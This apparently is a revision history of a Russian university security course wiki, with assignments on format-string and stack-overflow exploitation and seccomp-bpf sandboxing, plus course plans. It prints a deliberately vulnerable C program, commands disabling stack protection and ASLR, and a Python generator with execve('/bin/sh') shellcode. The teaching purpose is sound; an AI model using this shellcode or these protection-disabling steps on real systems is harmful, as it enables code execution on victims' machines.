seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sigreturn), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
printf ("No restrictions yet\n");
seccomp_load(ctx);
pid = getpid();
printf("!! YOU SHOULD NOT SEE THIS!! My PID is%d\n", pid);
return 0;
}

== Тестовый пример 3 ==

#include <stdlib.h>
#include <stdio.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <sys/fcntl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/audit.h>
#include <asm/unistd_64.h>
static void install_filter ( void ) {
struct sock_filter filter [] = {
BPF_STMT ( BPF_LD | BPF_W | BPF_ABS ,
( offsetof ( struct seccomp_data , arch ))) ,
BPF_JUMP ( BPF_JMP | BPF_JEQ | BPF_K ,
AUDIT_ARCH_X86_64 , 1 , 0) ,
BPF_STMT ( BPF_RET | BPF_K , SECCOMP_RET_KILL ) ,
BPF_STMT ( BPF_LD | BPF_W | BPF_ABS ,
( offsetof ( struct seccomp_data , nr ))) ,
BPF_JUMP ( BPF_JMP | BPF_JEQ | BPF_K , __NR_open ,
1 , 0) ,
BPF_STMT ( BPF_RET | BPF_K , SECCOMP_RET_ALLOW ) ,
BPF_STMT ( BPF_RET | BPF_K , SECCOMP_RET_KILL )
};
struct sock_fprog prog = {
.len = ( unsigned short ) ( sizeof ( filter ) /
sizeof ( filter [0])) ,
. filter = filter ,
};
syscall( __NR_seccomp , SECCOMP_SET_MODE_FILTER , 0 , & prog );
}
int main (int argc , char ** argv ) {
prctl ( PR_SET_NO_NEW_PRIVS , 1 , 0 , 0 , 0);
install_filter ();
open ( "/tmp/a" , O_RDONLY );
printf ( "We shouldn ’t see this message \n" );
exit ( EXIT_SUCCESS );
}

== Тестовый пример 4 ==

#include <stdlib.h>
#include <stdio.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <sys/types.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/socket.h>

#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/audit.h>

#define ArchField offsetof(struct seccomp_data, arch)

#define Allow(syscall) \
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_##syscall, 0, 1), \
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW)

struct sock_filter filter[] = {
/* validate arch */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, ArchField),
BPF_JUMP( BPF_JMP+BPF_JEQ+BPF_K, AUDIT_ARCH_X86_64, 1, 0),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_TRAP),

/* load syscall */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, offsetof(struct seccomp_data, nr)),

/* list of allowed syscalls */
Allow(exit_group), /* exits a processs */
Allow(brk), /* for malloc(), inside libc */
Allow(mmap), /* also for malloc() */
Allow(munmap), /* for free(), inside libc */
Allow(write), /* called by printf */
Allow(fstat), /* called by printf */

/* and if we don't match above, die */
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
};
struct sock_fprog filterprog = {
.len = sizeof(filter)/sizeof(filter[0]),
.filter = filter
};

int main(int argc, char **argv) {
char buf[1024];

/* set up the restricted environment */
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
perror("Could not start seccomp:");
exit(1);
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filterprog) == -1) {
perror("Could not start seccomp:");
exit(1);
}

/* printf only writes to stdout, but for some reason it stats it. */
printf("hello there!\n");

if (argc > 1 && strcmp(argv[1], "haxor") == 0) {
int fd = socket(AF_INET6, SOCK_STREAM, 0);
/* ...and start sending spam */
}
}

Безопасность компьютерных систем 2018/Задание 3

2018-11-13T11:59:08Z

Gamajun:

== Задание по теме "Бинарные уязвимости" ==

Задание будет состоять из трёх частей:

==== Format string ====

Для выполнения этой части задания Вам необходимо добиться печати строки бинарником "Congratulation! You have successfully solved level 1!" в stdout с помощью эксплуатации уязвимости типа format string. Решением является код эксплойта.

Материалы по теме: [https://blog.skullsecurity.org/2015/defcon-quals-babyecho-format-string-vulns-in-gory-detail]

==== Stack buffer overflow ====

Для выполнения этой части задания Вам необходимо прочитать содержимое файла "flag_1". Решением является содержимое этого файла и код эксплойта.

Материалы по теме: [https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/]

==== Bonus ====

...

=== Файлы заданий ===

Файлы задания можно взять тут: [https://yadi.sk/d/_ImkZtTIi-7DLA]. Само задание развёрнуто на pwn_task.hse.seclab.cs.msu.su:777.

=== Баллы ===

Флаги могут иметь разную стоимость. Суммарно все флаги обязательной части будут давать два балла, бонусной - один балл.

=== Дедлайн ===

29.11.2018 включительно.

=== Сдача решений ===

Решения заданий нужно присылать на почту michail.vms@yandex.ru с темой HSE_TASK, полным ФИО и номером группы.

=== Поломка заданий ===

Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне на почту michail.vms@yandex.ru.

== Бонусное задание по SECCOMP ==

В качестве дополнительного бонусного задания требуется модифицировать уязвимую программу (добавить фильтр seccomp-bpf), чтобы эксплойт перестал работать.

Для начала вам нужно взять следующую простую программу и эксплойт к ней, и добиться успешного исполнения (под gdb и без него).
==== Программа ====
#include <string.h>
#include <stdio.h>
int badcpy(char *str) {
register int i asm("esp");
printf("$esp = %#010x\n", i);
char buffer[100];
strcpy(buffer, str);
}
void main(int argc, char *argv[]) {
badcpy(argv[1]);
printf("Done!\n");
}

Собираем без stack-protector и включаем execstack:

gcc -g -fno-stack-protector -z execstack -m32 -o stack stack.c

Отключаем ASLR:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

==== Эксплойт (gensploit.py) ====

#!/usr/bin/python
nopsled = '\x90' * 64
shellcode = (
'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
'\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
'\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 32)
eip = '\xa0\xda\xff\xff'
print nopsled + shellcode + padding + eip

==== Задача 1 ====
Сначала заставьте переполнение работать.
stack нужно передать шеллкод в качестве параметра командной строки.

Запускать лучше используя абсолютный путь к бинарнику и через env - (env - /home/user/stack `gensploit.py`), и в том числе в gdb (env - gdb --args /home/user/...), так вы добьётесь примерно одинакового stack layout под gdb и без него. Под gdb ещё перед запуском программы надо unset-нуть переменные окружения LINES, COLUMNS, и возможно что-то ещё, что выставляет именно ваш gdb. Подберите под gdb нужное значение для адреса "eip =" в тексте генератора эксплойта - на вашей машине он скорее всего будет не такой, как в примере выше.

Результат успешной эксплуатации - запуск /bin/sh через execve() (в данном случае через int80).

После этого основное задание: модифицировать stack.c таким образом, чтобы был запрещен вызов execve() и разрешены все нужные для работы printf() и нормального завершения через exit(). Делаем это с помощью SECCOMP BPF фильтра. Внимательнее с arch (проверяйте arch в политике), т.к. в примере всё собираем с -m32 (приведенный выше шеллкод - 32битный).

Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.

Задание весит '''0.5''' балла.

Дополнительно сделать проверку в фильтре, чтобы был разрешен execve() для /bin/ls, но запрещен для всего остального - ещё '''0.25''' балла.

==== Задача 2 ====
Нужно взять стандартный docker-образ Ubuntu с официального репозитория docker.com и написать для него модифицированную политику SECCOMP, чтобы в этом репозитории запустился Chrome (headless mode). Результат присылать в виде: модифицированной seccomp политики докера с логами неуспешного запуска хрома на дефолтной политике и успешного на модифицированной.

Задание весит '''0.5''' балла.

Безопасность компьютерных систем 2018/Задание 3

2018-11-13T11:52:50Z

Gamajun:

== Задание по теме "Бинарные уязвимости" ==

Задание будет состоять из трёх частей:

==== Format string ====

Для выполнения этой части задания Вам необходимо добиться печати строки бинарником "Congratulation! You have successfully solved level 1!" в stdout с помощью эксплуатации уязвимости типа format string. Решением является код эксплойта.

Материалы по теме: [https://blog.skullsecurity.org/2015/defcon-quals-babyecho-format-string-vulns-in-gory-detail]

==== Stack buffer overflow ====

Для выполнения этой части задания Вам необходимо прочитать содержимое файла "flag_1". Решением является содержимое этого файла и код эксплойта.

Материалы по теме: [https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/]

==== Bonus ====

...

=== Файлы заданий ===

Файлы задания можно взять тут: [https://yadi.sk/d/_ImkZtTIi-7DLA]. Само задание развёрнуто на pwn_task.hse.seclab.cs.msu.su:777.

=== Баллы ===

Флаги могут иметь разную стоимость. Суммарно все флаги обязательной части будут давать два балла, бонусной - один балл.

=== Дедлайн ===

29.11.2018 включительно.

=== Сдача решений ===

Решения заданий нужно присылать на почту michail.vms@yandex.ru с темой HSE_TASK, полным ФИО и номером группы.

=== Поломка заданий ===

Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне на почту michail.vms@yandex.ru.

== Бонусное задание по SECCOMP ==

В качестве дополнительного бонусного задания требуется модифицировать уязвимую программу (добавить фильтр seccomp-bpf), чтобы эксплойт перестал работать.

Для начала вам нужно взять следующую простую программу и эксплойт к ней, и добиться успешного исполнения (под gdb и без него).
==== Программа ====
#include <string.h>
#include <stdio.h>
int badcpy(char *str) {
register int i asm("esp");
printf("$esp = %#010x\n", i);
char buffer[100];
strcpy(buffer, str);
}
void main(int argc, char *argv[]) {
badcpy(argv[1]);
printf("Done!\n");
}

Собираем без stack-protector и включаем execstack:

gcc -g -fno-stack-protector -z execstack -m32 -o stack stack.c

Отключаем ASLR:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

==== Эксплойт (gensploit.py) ====

#!/usr/bin/python
nopsled = '\x90' * 64
shellcode = (
'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
'\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
'\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 32)
eip = '\xa0\xda\xff\xff'
print nopsled + shellcode + padding + eip

==== Задача 1 ====
Сначала заставьте переполнение работать.
stack нужно передать шеллкод в качестве параметра командной строки.

Запускать лучше используя абсолютный путь к бинарнику и через env - (env - /home/user/stack `gensploit.py`), и в том числе в gdb (env - gdb --args /home/user/...), так вы добьётесь примерно одинакового stack layout под gdb и без него. Под gdb ещё перед запуском программы надо unset-нуть переменные окружения LINES, COLUMNS, и возможно что-то ещё, что выставляет именно ваш gdb. Подберите под gdb нужное значение для адреса "eip =" в тексте генератора эксплойта - на вашей машине он скорее всего будет не такой, как в примере выше.

Результат успешной эксплуатации - запуск /bin/sh через execve() (в данном случае через int80).

После этого основное задание: модифицировать stack.c таким образом, чтобы был запрещен вызов execve() и разрешены все нужные для работы printf() и нормального завершения через exit(). Делаем это с помощью SECCOMP BPF фильтра. Внимательнее с arch (проверяйте arch в политике), т.к. в примере всё собираем с -m32 (приведенный выше шеллкод - 32битный).

Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.

Задание весит '''0.5''' балла.

Дополнительно сделать проверку в фильтре, чтобы был разрешен execve() для /bin/ls, но запрещен для всего остального - ещё '''0.25''' балла.

Безопасность компьютерных систем 2018/Задание 3

2018-11-13T11:46:38Z

Gamajun:

== Задание по теме "Бинарные уязвимости" ==

Задание будет состоять из трёх частей:

==== Format string ====

Для выполнения этой части задания Вам необходимо добиться печати строки бинарником "Congratulation! You have successfully solved level 1!" в stdout с помощью эксплуатации уязвимости типа format string. Решением является код эксплойта.

Материалы по теме: [https://blog.skullsecurity.org/2015/defcon-quals-babyecho-format-string-vulns-in-gory-detail]

==== Stack buffer overflow ====

Для выполнения этой части задания Вам необходимо прочитать содержимое файла "flag_1". Решением является содержимое этого файла и код эксплойта.

Материалы по теме: [https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/]

==== Bonus ====

...

=== Файлы заданий ===

Файлы задания можно взять тут: [https://yadi.sk/d/_ImkZtTIi-7DLA]. Само задание развёрнуто на pwn_task.hse.seclab.cs.msu.su:777.

=== Баллы ===

Флаги могут иметь разную стоимость. Суммарно все флаги обязательной части будут давать два балла, бонусной - один балл.

=== Дедлайн ===

29.11.2018 включительно.

=== Сдача решений ===

Решения заданий нужно присылать на почту michail.vms@yandex.ru с темой HSE_TASK, полным ФИО и номером группы.

=== Поломка заданий ===

Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне на почту michail.vms@yandex.ru.

== Бонусное задание по SECCOMP ==

В качестве дополнительного бонусного задания требуется модифицировать уязвимую программу (добавить фильтр seccomp-bpf), чтобы эксплойт перестал работать.

Для начала вам нужно взять следующую простую программу и эксплойт к ней, и добиться успешного исполнения (под gdb и без него).
==== Программа ====
#include <string.h>
#include <stdio.h>
int badcpy(char *str) {
register int i asm("esp");
printf("$esp = %#010x\n", i);
char buffer[100];
strcpy(buffer, str);
}
void main(int argc, char *argv[]) {
badcpy(argv[1]);
printf("Done!\n");
}

Собираем без stack-protector и включаем execstack:

gcc -g -fno-stack-protector -z execstack -m32 -o stack stack.c

Отключаем ASLR:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

==== Эксплойт (gensploit.py) ====

#!/usr/bin/python
nopsled = '\x90' * 64
shellcode = (
'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
'\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
'\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 32)
eip = '\xa0\xda\xff\xff'
print nopsled + shellcode + padding + eip

==== Задача ====
Сначала заставьте переполнение работать.
stack нужно передать шеллкод в качестве параметра командной строки.

Запускать лучше используя абсолютный путь к бинарнику и через env - (env - /home/user/stack `gensploit.py`), и в том числе в gdb (env - gdb --args /home/user/...), так вы добьётесь примерно одинакового stack layout под gdb и без него. Под gdb ещё перед запуском программы надо unset-нуть переменные окружения LINES, COLUMNS, и возможно что-то ещё, что выставляет именно ваш gdb. Подберите под gdb нужное значение для адреса "eip =" в тексте генератора эксплойта - на вашей машине он скорее всего будет не такой, как в примере выше.

Результат успешной эксплуатации - запуск /bin/sh через execve() (в данном случае через int80).

После этого основное задание: модифицировать stack.c таким образом, чтобы был запрещен вызов execve() и разрешены все нужные для работы printf() и нормального завершения через exit(). Делаем это с помощью SECCOMP BPF фильтра. Внимательнее с arch (проверяйте arch в политике), т.к. в примере всё собираем с -m32 (приведенный выше шеллкод - 32битный).

Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.

Задание весит '''1''' балл.

Дополнительно сделать проверку в фильтре, чтобы был разрешен execve() для /bin/ls, но запрещен для всего остального - ещё '''0.25''' балла.

Безопасность компьютерных систем 2018

2018-11-12T08:06:47Z

Gamajun: /* План курса */

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2018 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (11.09) [https://drive.google.com/file/d/1EDgV5yNlBz0JqWbccX9-VX86Jl5gxXJ2 Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (18.09) [https://drive.google.com/open?id=1fDHsf5Re3j6DeuR1_Za1R0ZaiHI2dzpy Безопасность приложений. Мобильные приложения и их уязвимости.]
# (25.09) [https://drive.google.com/open?id=1EflFiY0-nOgGaBkTcrtA8pthr53vkq5v Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (02.10) [https://drive.google.com/open?id=1PqXpu9XMw4mH_Mg1V6NQ2brW24XNKCFq Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]
# (09.10) [https://drive.google.com/open?id=1OTsNFflqktWq_sGUxF0oeBvE0HuSFSmL Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.]
# (16.10) [https://drive.google.com/open?id=1slDOuuFViB8mmvE-rcCP0BQQVP7QM0fi Безопасность приложений. Аутентификация и авторизация.]

(2-й модуль)
# (30.10) [https://drive.google.com/file/d/1xCUxJhb5DIVKuMMMOtfrZ_GyBKZjkVhj Безопасность приложений. Уязвимости, связанные с переполнением буфера.]
# (06.11) [https://drive.google.com/file/d/198A3zf_COhACiMaA_1JC7jPrrY7F8pr8 Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]
# (13.11) [Механизмы безопасности приложений в операционных системах.]
# (20.11) [Криптография. Введение и история]
# (27.11) [Криптография. Симметричные шифры и атаки на них.]
# (04.12) [Криптография, Асимметричные шифры и атаки на них.]
# (11.12) [Криптография. Приложения - PKI, WoT, Блокчейн.]
# (18.12) [Криптография. Пост-квантовая криптография. Заключение.]

Семинары:
# (18.09) [[Безопасность компьютерных систем 2018/Уязвимости мобильных приложений]]
# (25.09) [[Безопасность_компьютерных_систем_2018/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]
# (02.10) [[Безопасность_компьютерных_систем_2018/SQLi|Веб-уязвимости. SQLi.]]
# (09.10) [http://xxe.hse.seclab.cs.msu.su Веб-уязвимости. XXE, прочее интересное.]
# (16.10) [[Безопасность_компьютерных_систем_2018/SDLC|Безопасная разработка.]]
# (30.10) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (06.11) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (13.11) [[Безопасность_компьютерных_систем_2018/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (20.11)
# (27.11) [[Безопасность_компьютерных_систем_2018/XOROR|Атаки на блочные шифры.]]
# (04.12) [[Безопасность_компьютерных_систем_2018/RSA|Атаки на RSA.]]
# (11.12) [[Безопасность_компьютерных_систем_2018/ICO|ICO, смартконтракты и Solidity.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2018/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2018/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2018/Задание_3|Задание по теме "Бинарные уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2018

2018-10-30T13:23:40Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2018 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (11.09) [https://drive.google.com/file/d/1EDgV5yNlBz0JqWbccX9-VX86Jl5gxXJ2 Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (18.09) [https://drive.google.com/open?id=1fDHsf5Re3j6DeuR1_Za1R0ZaiHI2dzpy Безопасность приложений. Мобильные приложения и их уязвимости.]
# (25.09) [https://drive.google.com/open?id=1EflFiY0-nOgGaBkTcrtA8pthr53vkq5v Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (02.10) [https://drive.google.com/open?id=1PqXpu9XMw4mH_Mg1V6NQ2brW24XNKCFq Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]
# (09.10) [https://drive.google.com/open?id=1OTsNFflqktWq_sGUxF0oeBvE0HuSFSmL Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.]
# (16.10) [https://drive.google.com/open?id=1slDOuuFViB8mmvE-rcCP0BQQVP7QM0fi Безопасность приложений. Аутентификация и авторизация.]

(2-й модуль)
# (30.10) [https://drive.google.com/file/d/1xCUxJhb5DIVKuMMMOtfrZ_GyBKZjkVhj Безопасность приложений. Уязвимости, связанные с переполнением буфера.]
# (06.11) [Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]
# (13.11) [Механизмы безопасности приложений в операционных системах.]
# (20.11) [Криптография. Введение и история]
# (27.11) [Криптография. Симметричные шифры и атаки на них.]
# (04.12) [Криптография, Асимметричные шифры и атаки на них.]
# (11.12) [Криптография. Приложения - PKI, WoT, Блокчейн.]
# (18.12) [Криптография. Пост-квантовая криптография. Заключение.]

Семинары:
# (18.09) [[Безопасность компьютерных систем 2018/Уязвимости мобильных приложений]]
# (25.09) [[Безопасность_компьютерных_систем_2018/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]
# (02.10) [[Безопасность_компьютерных_систем_2018/SQLi|Веб-уязвимости. SQLi.]]
# (09.10) [http://xxe.hse.seclab.cs.msu.su Веб-уязвимости. XXE, прочее интересное.]
# (16.10) [[Безопасность_компьютерных_систем_2018/SDLC|Безопасная разработка.]]
# (30.10) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (06.11) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (13.11) [[Безопасность_компьютерных_систем_2018/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (20.11)
# (27.11) [[Безопасность_компьютерных_систем_2018/XOROR|Атаки на блочные шифры.]]
# (04.12) [[Безопасность_компьютерных_систем_2018/RSA|Атаки на RSA.]]
# (11.12) [[Безопасность_компьютерных_систем_2018/ICO|ICO, смартконтракты и Solidity.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2018/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2018/Задание_2|Задание по теме "Веб-уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2018/Задание 2

2018-10-22T07:51:21Z

Gamajun:

== Задание по теме "Веб-уязвимости" ==

Задание будет состоять из нескольких частей.

* [[Безопасность_компьютерных_систем_2018/Задание_2_0|Предварительное задание по SQL (бонусное)]]
* [[Безопасность_компьютерных_систем_2018/Задание_2_0_0|Предварительное задание по XSS (бонусное)]]

=== Основные задания===

* [[Безопасность_компьютерных_систем_2018/Задание_2_1|Первая часть — задания по XSS и SQL injection]]
* [[Безопасность_компьютерных_систем_2018/Задание_2_2|Вторая часть — задания по XXE]]
* [[Безопасность_компьютерных_систем_2018/Задание_2_3|Третья (бонусная, необязательная) часть — задания на File Upload]]

==== Формат заданий ====

Задания по теме "Веб-уязвимости" выполнены в формате task-based CTF: в каждом задании есть один или несколько "флагов", выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний ("_").

Флаги, входящие в обязательную часть, будут начинаться с префикса <code>main__</code>

==== Баллы ====

Флаги могут иметь разную стоимость. Суммарно все флаги обязательной части будут давать 2 балла.
Бонусная часть (file upload) суммарно даёт 1 балл.

==== Дедлаин ====

Крайний срок выполнения заданий по теме "Веб-уязвимости" назначен на '''30 октября, 23.30'''.
Крайний срок выполнения бонусной части (про File Upload) - '''06 ноября, 23.30'''.

==== Сдача флагов ====

Флаги нужно сдавать в [http://dashboard.hse.seclab.cs.msu.ru/ принимающую систему]. При сдаче флага вам надо указывать свое настоящее имя и фамилию, чтобы мы потом знали кому зачесть набранные баллы. Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).

==== Поломка заданий ====

Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне, моя почта asterite@seclab.cs.msu.su, телеграм @asterite3

Безопасность компьютерных систем 2018

2018-09-26T10:47:06Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2018 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (11.09) [https://drive.google.com/file/d/1EDgV5yNlBz0JqWbccX9-VX86Jl5gxXJ2 Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (18.09) [https://drive.google.com/open?id=1fDHsf5Re3j6DeuR1_Za1R0ZaiHI2dzpy Безопасность приложений. Мобильные приложения и их уязвимости.]
# (25.09) [https://drive.google.com/open?id=1EflFiY0-nOgGaBkTcrtA8pthr53vkq5v Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (02.10) [Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. XXE и SSRF.]
# (09.10) [Безопасность приложений. Аутентификация и авторизация.]
# (16.10) [Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.]

(2-й модуль)
# (30.10) [Безопасность приложений. Уязвимости, связанные с переполнением буфера.]
# (06.11) [Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]
# (13.11) [Механизмы безопасности приложений в операционных системах.]
# (20.11) [Криптография. Введение и история]
# (27.11) [Криптография. Симметричные шифры и атаки на них.]
# (04.12) [Криптография, Асимметричные шифры и атаки на них.]
# (11.12) [Криптография. Приложения - PKI, WoT, Блокчейн.]
# (18.12) [Криптография. Пост-квантовая криптография. Заключение.]

Семинары:
# (18.09) [[Безопасность компьютерных систем 2018/Уязвимости мобильных приложений]]
# (25.09) [[Безопасность_компьютерных_систем_2018/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]
# (02.10) [[Безопасность_компьютерных_систем_2018/SQLi|Веб-уязвимости. SQLi.]]
# (09.10) [[Безопасность_компьютерных_систем_2018/XXE|Веб-уязвимости. XXE, прочее интересное.]]
# (16.10) [[Безопасность_компьютерных_систем_2018/SDLC|Безопасная разработка.]]
# (30.10) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (06.11) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (13.11) [[Безопасность_компьютерных_систем_2018/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (20.11)
# (27.11) [[Безопасность_компьютерных_систем_2018/XOROR|Атаки на блочные шифры.]]
